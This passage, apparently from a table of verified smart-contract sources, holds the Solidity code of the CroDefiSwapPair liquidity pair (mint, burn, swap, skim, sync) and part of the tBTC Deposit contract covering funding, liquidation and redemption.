{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}] | v0.5.16+commit.9c3226ce | true | 999,999 | istanbul | GNU GPLv3 | false | bzzr://72febb9060e99697097d30ad78467c0deb02dffa096d3e1e0b5f205a8bec5dfa |
|||
CroDefiSwapPair | contracts/CroDefiSwapPair.sol | 0xa3603484ebfa1675778ce2de02c0ce96678a4f34 | Solidity | pragma solidity =0.5.16;
contract CroDefiSwapPair is ICroDefiSwapPair, CroDefiSwapERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'CroDefiSwap: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'CroDefiSwap: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'CroDefiSwap: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'CroDefiSwap: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = ICroDefiSwapFactory(factory).feeTo();
uint feeToBasisPoint = ICroDefiSwapFactory(factory).feeToBasisPoint();
feeOn = (feeTo != address(0)) && (feeToBasisPoint > 0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(feeToBasisPoint).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'CroDefiSwap: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'CroDefiSwap: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'CroDefiSwap: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'CroDefiSwap: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'CroDefiSwap: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) ICroDefiSwapCallee(to).croDefiSwapCall(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'CroDefiSwap: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint magnifier = 10000;
uint totalFeeBasisPoint = ICroDefiSwapFactory(factory).totalFeeBasisPoint();
uint balance0Adjusted = balance0.mul(magnifier).sub(amount0In.mul(totalFeeBasisPoint));
uint balance1Adjusted = balance1.mul(magnifier).sub(amount1In.mul(totalFeeBasisPoint));
// reference: https://uniswap.org/docs/v2/protocol-overview/glossary/#constant-product-formula
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(magnifier**2), 'CroDefiSwap: Constant product formula condition not met!');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
} | 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| v0.5.16+commit.9c3226ce | true | 999,999 | istanbul | GNU GPLv3 | false | bzzr://72febb9060e99697097d30ad78467c0deb02dffa096d3e1e0b5f205a8bec5dfa |
|||
Deposit | solidity/contracts/deposit/Deposit.sol | 0x8b36047ed94d4b2d97609fe8d3ba5e543065d0be | Solidity | pragma solidity 0.5.17;
import {DepositLiquidation} from "./DepositLiquidation.sol";
import {DepositUtils} from "./DepositUtils.sol";
import {DepositFunding} from "./DepositFunding.sol";
import {DepositRedemption} from "./DepositRedemption.sol";
import {DepositStates} from "./DepositStates.sol";
import {ITBTCSystem} from "../interfaces/ITBTCSystem.sol";
import {IERC721} from "openzeppelin-solidity/contracts/token/ERC721/IERC721.sol";
import {TBTCToken} from "../system/TBTCToken.sol";
import {FeeRebateToken} from "../system/FeeRebateToken.sol";
import "../system/DepositFactoryAuthority.sol";
// solium-disable function-order
// Below, a few functions must be public to allow bytes memory parameters, but
// their being so triggers errors because public functions should be grouped
// below external functions. Since these would be external if it were possible,
// we ignore the issue.
/// @title tBTC Deposit
/// @notice This is the main contract for tBTC. It is the state machine that
/// (through various libraries) handles bitcoin funding, bitcoin-spv
/// proofs, redemption, liquidation, and fraud logic.
/// @dev This contract presents a public API that exposes the following
/// libraries:
///
/// - `DepositFunding`
/// - `DepositLiquidaton`
/// - `DepositRedemption`,
/// - `DepositStates`
/// - `DepositUtils`
/// - `OutsourceDepositLogging`
/// - `TBTCConstants`
///
/// Where these libraries require deposit state, this contract's state
/// variable `self` is used. `self` is a struct of type
/// `DepositUtils.Deposit` that contains all aspects of the deposit state
/// itself.
contract Deposit is DepositFactoryAuthority {
using DepositRedemption for DepositUtils.Deposit;
using DepositFunding for DepositUtils.Deposit;
using DepositLiquidation for DepositUtils.Deposit;
using DepositUtils for DepositUtils.Deposit;
using DepositStates for DepositUtils.Deposit;
DepositUtils.Deposit self;
/// @dev Deposit should only be _constructed_ once. New deposits are created
/// using the `DepositFactory.createDeposit` method, and are clones of
/// the constructed deposit. The factory will set the initial values
/// for a new clone using `initializeDeposit`.
constructor () public {
// The constructed Deposit will never be used, so the deposit factory
// address can be anything. Clones are updated as per above.
initialize(address(0xdeadbeef));
}
/// @notice Deposits do not accept arbitrary ETH.
function () external payable {
require(msg.data.length == 0, "Deposit contract was called with unknown function selector.");
}
//----------------------------- METADATA LOOKUP ------------------------------//
/// @notice Get this deposit's BTC lot size in satoshis.
/// @return uint64 lot size in satoshis.
function lotSizeSatoshis() external view returns (uint64){
return self.lotSizeSatoshis;
}
/// @notice Get this deposit's lot size in TBTC.
/// @dev This is the same as lotSizeSatoshis(), but is multiplied to scale
/// to 18 decimal places.
/// @return uint256 lot size in TBTC precision (max 18 decimal places).
function lotSizeTbtc() external view returns (uint256){
return self.lotSizeTbtc();
}
/// @notice Get the signer fee for this deposit, in TBTC.
/// @dev This is the one-time fee required by the signers to perform the
/// tasks needed to maintain a decentralized and trustless model for
/// tBTC. It is a percentage of the deposit's lot size.
/// @return Fee amount in TBTC.
function signerFeeTbtc() external view returns (uint256) {
return self.signerFeeTbtc();
}
/// @notice Get the integer representing the current state.
/// @dev We implement this because contracts don't handle foreign enums
/// well. See `DepositStates` for more info on states.
/// @return The 0-indexed state from the DepositStates enum.
function currentState() external view returns (uint256) {
return uint256(self.currentState);
}
/// @notice Check if the Deposit is in ACTIVE state.
/// @return True if state is ACTIVE, false otherwise.
function inActive() external view returns (bool) {
return self.inActive();
}
/// @notice Get the contract address of the BondedECDSAKeep associated with
/// this Deposit.
/// @dev The keep contract address is saved on Deposit initialization.
/// @return Address of the Keep contract.
function keepAddress() external view returns (address) {
return self.keepAddress;
}
/// @notice Retrieve the remaining term of the deposit in seconds.
/// @dev The value accuracy is not guaranteed since block.timestmap can be
/// lightly manipulated by miners.
/// @return The remaining term of the deposit in seconds. 0 if already at
/// term.
function remainingTerm() external view returns(uint256){
return self.remainingTerm();
}
/// @notice Get the current collateralization level for this Deposit.
/// @dev This value represents the percentage of the backing BTC value the
/// signers currently must hold as bond.
/// @return The current collateralization level for this deposit.
function collateralizationPercentage() external view returns (uint256) {
return self.collateralizationPercentage();
}
/// @notice Get the initial collateralization level for this Deposit.
/// @dev This value represents the percentage of the backing BTC value
/// the signers hold initially. It is set at creation time.
/// @return The initial collateralization level for this deposit.
function initialCollateralizedPercent() external view returns (uint16) {
return self.initialCollateralizedPercent;
}
/// @notice Get the undercollateralization level for this Deposit.
/// @dev This collateralization level is semi-critical. If the
/// collateralization level falls below this percentage the Deposit can
/// be courtesy-called by calling `notifyCourtesyCall`. This value
/// represents the percentage of the backing BTC value the signers must
/// hold as bond in order to not be undercollateralized. It is set at
/// creation time. Note that the value for new deposits in TBTCSystem
/// can be changed by governance, but the value for a particular
/// deposit is static once the deposit is created.
/// @return The undercollateralized level for this deposit.
function undercollateralizedThresholdPercent() external view returns (uint16) {
return self.undercollateralizedThresholdPercent;
}
/// @notice Get the severe undercollateralization level for this Deposit.
/// @dev This collateralization level is critical. If the collateralization
/// level falls below this percentage the Deposit can get liquidated.
/// This value represents the percentage of the backing BTC value the
/// signers must hold as bond in order to not be severely
/// undercollateralized. It is set at creation time. Note that the
/// value for new deposits in TBTCSystem can be changed by governance,
/// but the value for a particular deposit is static once the deposit
/// is created.
/// @return The severely undercollateralized level for this deposit.
function severelyUndercollateralizedThresholdPercent() external view returns (uint16) {
return self.severelyUndercollateralizedThresholdPercent;
}
/// @notice Get the value of the funding UTXO.
/// @dev This call will revert if the deposit is not in a state where the
/// UTXO info should be valid. In particular, before funding proof is
/// successfully submitted (i.e. in states START,
/// AWAITING_SIGNER_SETUP, and AWAITING_BTC_FUNDING_PROOF), this value
/// would not be valid.
/// @return The value of the funding UTXO in satoshis.
function utxoValue() external view returns (uint256){
require(
! self.inFunding(),
"Deposit has not yet been funded and has no available funding info"
);
return self.utxoValue();
}
/// @notice Returns information associated with the funding UXTO.
/// @dev This call will revert if the deposit is not in a state where the
/// funding info should be valid. In particular, before funding proof
/// is successfully submitted (i.e. in states START,
/// AWAITING_SIGNER_SETUP, and AWAITING_BTC_FUNDING_PROOF), none of
/// these values are set or valid.
/// @return A tuple of (uxtoValueBytes, fundedAt, uxtoOutpoint).
function fundingInfo() external view returns (bytes8 utxoValueBytes, uint256 fundedAt, bytes memory utxoOutpoint) {
require(
! self.inFunding(),
"Deposit has not yet been funded and has no available funding info"
);
return (self.utxoValueBytes, self.fundedAt, self.utxoOutpoint);
}
/// @notice Calculates the amount of value at auction right now.
/// @dev This call will revert if the deposit is not in a state where an
/// auction is currently in progress.
/// @return The value in wei that would be received in exchange for the
/// deposit's lot size in TBTC if `purchaseSignerBondsAtAuction`
/// were called at the time this function is called.
function auctionValue() external view returns (uint256) {
require(
self.inSignerLiquidation(),
"Deposit has no funds currently at auction"
);
return self.auctionValue();
}
/// @notice Get caller's ETH withdraw allowance.
/// @dev Generally ETH is only available to withdraw after the deposit
/// reaches a closed state. The amount reported is for the sender, and
/// can be withdrawn using `withdrawFunds` if the deposit is in an end
/// state.
/// @return The withdraw allowance in wei.
function withdrawableAmount() external view returns (uint256) {
return self.getWithdrawableAmount();
}
//------------------------------ FUNDING FLOW --------------------------------//
/// @notice Notify the contract that signing group setup has timed out if
/// retrieveSignerPubkey is not successfully called within the
/// allotted time.
/// @dev This is considered a signer fault, and the signers' bonds are used
/// to make the deposit setup fee available for withdrawal by the TDT
/// holder as a refund. The remainder of the signers' bonds are
/// returned to the bonding pool and the signers are released from any
/// further responsibilities. Reverts if the deposit is not awaiting
/// signer setup or if the signing group formation timeout has not
/// elapsed.
function notifySignerSetupFailed() external {
self.notifySignerSetupFailed();
}
/// @notice Notify the contract that the ECDSA keep has generated a public
/// key so the deposit contract can pull it in.
/// @dev Stores the pubkey as 2 bytestrings, X and Y. Emits a
/// RegisteredPubkey event with the two components. Reverts if the
/// deposit is not awaiting signer setup, if the generated public key
/// is unset or has incorrect length, or if the public key has a 0
/// X or Y value.
function retrieveSignerPubkey() external {
self.retrieveSignerPubkey();
}
/// @notice Notify the contract that the funding phase of the deposit has
/// timed out if `provideBTCFundingProof` is not successfully called
/// within the allotted time. Any sent BTC is left under control of
/// the signer group, and the funder can use `requestFunderAbort` to
/// request an at-signer-discretion return of any BTC sent to a
/// deposit that has been notified of a funding timeout.
/// @dev This is considered a funder fault, and the funder's payment for
/// opening the deposit is not refunded. Emits a SetupFailed event.
/// Reverts if the funding timeout has not yet elapsed, or if the
/// deposit is not currently awaiting funding proof.
function notifyFundingTimedOut() external {
self.notifyFundingTimedOut();
}
/// @notice Requests a funder abort for a failed-funding deposit; that is,
/// requests the return of a sent UTXO to _abortOutputScript. It
/// imposes no requirements on the signing group. Signers should
/// send their UTXO to the requested output script, but do so at
/// their discretion and with no penalty for failing to do so. This
/// can be used for example when a UTXO is sent that is the wrong
/// size for the lot.
/// @dev This is a self-admitted funder fault, and is only be callable by
/// the TDT holder. This function emits the FunderAbortRequested event,
/// but stores no additional state.
/// @param _abortOutputScript The output script the funder wishes to request
/// a return of their UTXO to.
function requestFunderAbort(bytes memory _abortOutputScript) public { // not external to allow bytes memory parameters
require(
self.depositOwner() == msg.sender,
"Only TDT holder can request funder abort"
);
self.requestFunderAbort(_abortOutputScript);
}
/// @notice Anyone can provide a signature corresponding to the signers'
/// public key to prove fraud during funding. Note that during
/// funding no signature has been requested from the signers, so
/// any signature is effectively fraud.
/// @dev Calls out to the keep to verify if there was fraud.
/// @param _v Signature recovery value.
/// @param _r Signature R value.
/// @param _s Signature S value.
/// @param _signedDigest The digest signed by the signature (v,r,s) tuple.
/// @param _preimage The sha256 preimage of the digest.
function provideFundingECDSAFraudProof(
uint8 _v,
bytes32 _r,
bytes32 _s,
bytes32 _signedDigest,
bytes memory _preimage
) public { // not external to allow bytes memory parameters
self.provideFundingECDSAFraudProof(_v, _r, _s, _signedDigest, _preimage);
}
/// @notice Anyone may submit a funding proof to the deposit showing that
/// a transaction was submitted and sufficiently confirmed on the
/// Bitcoin chain transferring the deposit lot size's amount of BTC
/// to the signer-controlled private key corresopnding to this
/// deposit. This will move the deposit into an active state.
/// @dev Takes a pre-parsed transaction and calculates values needed to
/// verify funding.
/// @param _txVersion Transaction version number (4-byte little-endian).
/// @param _txInputVector All transaction inputs prepended by the number of
/// inputs encoded as a VarInt, max 0xFC(252) inputs.
/// @param _txOutputVector All transaction outputs prepended by the number
/// of outputs encoded as a VarInt, max 0xFC(252) outputs.
/// @param _txLocktime Final 4 bytes of the transaction.
/// @param _fundingOutputIndex Index of funding output in _txOutputVector
/// (0-indexed).
/// @param _merkleProof The merkle proof of transaction inclusion in a
/// block.
/// @param _txIndexInBlock Transaction index in the block (0-indexed).
/// @param _bitcoinHeaders Single bytestring of 80-byte bitcoin headers,
/// lowest height first.
function provideBTCFundingProof(
bytes4 _txVersion,
bytes memory _txInputVector,
bytes memory _txOutputVector,
bytes4 _txLocktime,
uint8 _fundingOutputIndex,
bytes memory _merkleProof,
uint256 _txIndexInBlock,
bytes memory _bitcoinHeaders
) public { // not external to allow bytes memory parameters
self.provideBTCFundingProof(
_txVersion,
_txInputVector,
_txOutputVector,
_txLocktime,
_fundingOutputIndex,
_merkleProof,
_txIndexInBlock,
_bitcoinHeaders
);
}
//---------------------------- LIQUIDATION FLOW ------------------------------//
/// @notice Notify the contract that the signers are undercollateralized.
/// @dev This call will revert if the signers are not in fact
/// undercollateralized according to the price feed. After
/// TBTCConstants.COURTESY_CALL_DURATION, courtesy call times out and
/// regular abort liquidation occurs; see
/// `notifyCourtesyTimedOut`.
function notifyCourtesyCall() external {
self.notifyCourtesyCall();
}
/// @notice Notify the contract that the signers' bond value has recovered
/// enough to be considered sufficiently collateralized.
/// @dev This call will revert if collateral is still below the
/// undercollateralized threshold according to the price feed.
function exitCourtesyCall() external {
self.exitCourtesyCall();
}
/// @notice Notify the contract that the courtesy period has expired and the
/// deposit should move into liquidation.
/// @dev This call will revert if the courtesy call period has not in fact
/// expired or is not in the courtesy call state. Courtesy call
/// expiration is treated as an abort, and is handled by seizing signer
/// bonds and putting them up for auction for the lot size amount in
/// TBTC (see `purchaseSignerBondsAtAuction`). Emits a
/// LiquidationStarted event. The caller is captured as the liquidation
/// initiator, and is eligible for 50% of any bond left after the
/// auction is completed.
function notifyCourtesyCallExpired() external {
self.notifyCourtesyCallExpired();
}
/// @notice Notify the contract that the signers are undercollateralized.
/// @dev Calls out to the system for oracle info.
/// @dev This call will revert if the signers are not in fact severely
/// undercollateralized according to the price feed. Severe
/// undercollateralization is treated as an abort, and is handled by
/// seizing signer bonds and putting them up for auction in exchange
/// for the lot size amount in TBTC (see
/// `purchaseSignerBondsAtAuction`). Emits a LiquidationStarted event.
/// The caller is captured as the liquidation initiator, and is
/// eligible for 50% of any bond left after the auction is completed.
function notifyUndercollateralizedLiquidation() external {
self.notifyUndercollateralizedLiquidation();
}
/// @notice Anyone can provide a signature corresponding to the signers'
/// public key that was not requested to prove fraud. A redemption
/// request and a redemption fee increase are the only ways to
/// request a signature from the signers.
/// @dev This call will revert if the underlying keep cannot verify that
/// there was fraud. Fraud is handled by seizing signer bonds and
/// putting them up for auction in exchange for the lot size amount in
/// TBTC (see `purchaseSignerBondsAtAuction`). Emits a
/// LiquidationStarted event. The caller is captured as the liquidation
/// initiator, and is eligible for any bond left after the auction is
/// completed.
/// @param _v Signature recovery value.
/// @param _r Signature R value.
/// @param _s Signature S value.
/// @param _signedDigest The digest signed by the signature (v,r,s) tuple.
/// @param _preimage The sha256 preimage of the digest.
function provideECDSAFraudProof(
uint8 _v,
bytes32 _r,
bytes32 _s,
bytes32 _signedDigest,
bytes memory _preimage
) public { // not external to allow bytes memory parameters
self.provideECDSAFraudProof(_v, _r, _s, _signedDigest, _preimage);
}
/// @notice Notify the contract that the signers have failed to produce a
/// signature for a redemption request in the allotted time.
/// @dev This is considered an abort, and is punished by seizing signer
/// bonds and putting them up for auction. Emits a LiquidationStarted
/// event and a Liquidated event and sends the full signer bond to the
/// redeemer. Reverts if the deposit is not currently awaiting a
/// signature or if the allotted time has not yet elapsed. The caller
/// is captured as the liquidation initiator, and is eligible for 50%
/// of any bond left after the auction is completed.
function notifyRedemptionSignatureTimedOut() external {
self.notifyRedemptionSignatureTimedOut();
}
/// @notice Notify the contract that the deposit has failed to receive a
/// redemption proof in the allotted time.
/// @dev This call will revert if the deposit is not currently awaiting a
/// signature or if the allotted time has not yet elapsed. This is
/// considered an abort, and is punished by seizing signer bonds and
/// putting them up for auction for the lot size amount in TBTC (see
/// `purchaseSignerBondsAtAuction`). Emits a LiquidationStarted event.
/// The caller is captured as the liquidation initiator, and
/// is eligible for 50% of any bond left after the auction is
/// completed.
function notifyRedemptionProofTimedOut() external {
self.notifyRedemptionProofTimedOut();
}
/// @notice Closes an auction and purchases the signer bonds by transferring
/// the lot size in TBTC to the redeemer, if there is one, or to the
/// TDT holder if not. Any bond amount that is not currently up for
/// auction is either made available for the liquidation initiator
/// to withdraw (for fraud) or split 50-50 between the initiator and
/// the signers (for abort or collateralization issues).
/// @dev The amount of ETH given for the transferred TBTC can be read using
/// the `auctionValue` function; note, however, that the function's
/// value is only static during the specific block it is queried, as it
/// varies by block timestamp.
function purchaseSignerBondsAtAuction() external {
self.purchaseSignerBondsAtAuction();
}
//---------------------------- REDEMPTION FLOW -------------------------------//
/// @notice Get TBTC amount required for redemption by a specified
/// _redeemer.
/// @dev This call will revert if redemption is not possible by _redeemer.
/// @param _redeemer The deposit redeemer whose TBTC requirement is being
/// requested.
/// @return The amount in TBTC needed by the `_redeemer` to redeem the
/// deposit.
function getRedemptionTbtcRequirement(address _redeemer) external view returns (uint256){
(uint256 tbtcPayment,,) = self.calculateRedemptionTbtcAmounts(_redeemer, false);
return tbtcPayment;
}
/// @notice Get TBTC amount required for redemption assuming _redeemer
/// is this deposit's owner (TDT holder).
/// @param _redeemer The assumed owner of the deposit's TDT .
/// @return The amount in TBTC needed to redeem the deposit.
function getOwnerRedemptionTbtcRequirement(address _redeemer) external view returns (uint256){
(uint256 tbtcPayment,,) = self.calculateRedemptionTbtcAmounts(_redeemer, true);
return tbtcPayment;
}
/// @notice Requests redemption of this deposit, meaning the transmission,
/// by the signers, of the deposit's UTXO to the specified Bitocin
/// output script. Requires approving the deposit to spend the
/// amount of TBTC needed to redeem.
/// @dev The amount of TBTC needed to redeem can be looked up using the
/// `getRedemptionTbtcRequirement` or `getOwnerRedemptionTbtcRequirement`
/// functions.
/// @param _outputValueBytes The 8-byte little-endian output size. The
/// difference between this value and the lot size of the deposit
/// will be paid as a fee to the Bitcoin miners when the signed
/// transaction is broadcast.
/// @param _redeemerOutputScript The redeemer's length-prefixed output
/// script.
function requestRedemption(
bytes8 _outputValueBytes,
bytes memory _redeemerOutputScript
) public { // not external to allow bytes memory parameters
self.requestRedemption(_outputValueBytes, _redeemerOutputScript);
}
/// @notice Anyone may provide a withdrawal signature if it was requested.
/// @dev The signers will be penalized if this function is not called
/// correctly within `TBTCConstants.REDEMPTION_SIGNATURE_TIMEOUT`
/// seconds of a redemption request or fee increase being received.
/// @param _v Signature recovery value.
/// @param _r Signature R value.
/// @param _s Signature S value. Should be in the low half of secp256k1
/// curve's order.
function provideRedemptionSignature(
uint8 _v,
bytes32 _r,
bytes32 _s
) external {
self.provideRedemptionSignature(_v, _r, _s);
}
/// @notice Anyone may request a signature for a transaction with an
/// increased Bitcoin transaction fee.
/// @dev This call will revert if the fee is already at its maximum, or if
/// the new requested fee is not a multiple of the initial requested
/// fee. Transaction fees can only be bumped by the amount of the
/// initial requested fee. Calling this sends the deposit back to
/// the `AWAITING_WITHDRAWAL_SIGNATURE` state and requires the signers
/// to `provideRedemptionSignature` for the new output value in a
/// timely fashion.
/// @param _previousOutputValueBytes The previous output's value.
/// @param _newOutputValueBytes The new output's value.
function increaseRedemptionFee(
bytes8 _previousOutputValueBytes,
bytes8 _newOutputValueBytes
) external {
self.increaseRedemptionFee(_previousOutputValueBytes, _newOutputValueBytes);
}
/// @notice Anyone may submit a redemption proof to the deposit showing that
/// a transaction was submitted and sufficiently confirmed on the
/// Bitcoin chain transferring the deposit lot size's amount of BTC
/// from the signer-controlled private key corresponding to this
/// deposit to the requested redemption output script. This will
/// move the deposit into a redeemed state.
/// @dev Takes a pre-parsed transaction and calculates values needed to
/// verify funding. Signers can have their bonds seized if this is not
/// called within `TBTCConstants.REDEMPTION_PROOF_TIMEOUT` seconds of
/// a redemption signature being provided.
/// @param _txVersion Transaction version number (4-byte little-endian).
/// @param _txInputVector All transaction inputs prepended by the number of
/// inputs encoded as a VarInt, max 0xFC(252) inputs.
/// @param _txOutputVector All transaction outputs prepended by the number
/// of outputs encoded as a VarInt, max 0xFC(252) outputs.
/// @param _txLocktime Final 4 bytes of the transaction.
/// @param _merkleProof The merkle proof of transaction inclusion in a
/// block.
/// @param _txIndexInBlock Transaction index in the block (0-indexed).
/// @param _bitcoinHeaders Single bytestring of 80-byte bitcoin headers,
/// lowest height first.
function provideRedemptionProof(
bytes4 _txVersion,
bytes memory _txInputVector,
bytes memory _txOutputVector,
bytes4 _txLocktime,
bytes memory _merkleProof,
uint256 _txIndexInBlock,
bytes memory _bitcoinHeaders
) public { // not external to allow bytes memory parameters
self.provideRedemptionProof(
_txVersion,
_txInputVector,
_txOutputVector,
_txLocktime,
_merkleProof,
_txIndexInBlock,
_bitcoinHeaders
);
}
//--------------------------- MUTATING HELPERS -------------------------------//
/// @notice This function can only be called by the deposit factory; use
/// `DepositFactory.createDeposit` to create a new deposit.
/// @dev Initializes a new deposit clone with the base state for the
/// deposit.
/// @param _tbtcSystem `TBTCSystem` contract. More info in `TBTCSystem`.
/// @param _tbtcToken `TBTCToken` contract. More info in TBTCToken`.
/// @param _tbtcDepositToken `TBTCDepositToken` (TDT) contract. More info in
/// `TBTCDepositToken`.
/// @param _feeRebateToken `FeeRebateToken` (FRT) contract. More info in
/// `FeeRebateToken`.
/// @param _vendingMachineAddress `VendingMachine` address. More info in
/// `VendingMachine`.
/// @param _lotSizeSatoshis The minimum amount of satoshi the funder is
/// required to send. This is also the amount of
/// TBTC the TDT holder will be eligible to mint:
/// (10**7 satoshi == 0.1 BTC == 0.1 TBTC).
function initializeDeposit(
ITBTCSystem _tbtcSystem,
TBTCToken _tbtcToken,
IERC721 _tbtcDepositToken,
FeeRebateToken _feeRebateToken,
address _vendingMachineAddress,
uint64 _lotSizeSatoshis
) public onlyFactory payable {
self.tbtcSystem = _tbtcSystem;
self.tbtcToken = _tbtcToken;
self.tbtcDepositToken = _tbtcDepositToken;
self.feeRebateToken = _feeRebateToken;
self.vendingMachineAddress = _vendingMachineAddress;
self.initialize(_lotSizeSatoshis);
}
/// @notice This function can only be called by the vending machine.
/// @dev Performs the same action as requestRedemption, but transfers
/// ownership of the deposit to the specified _finalRecipient. Used as
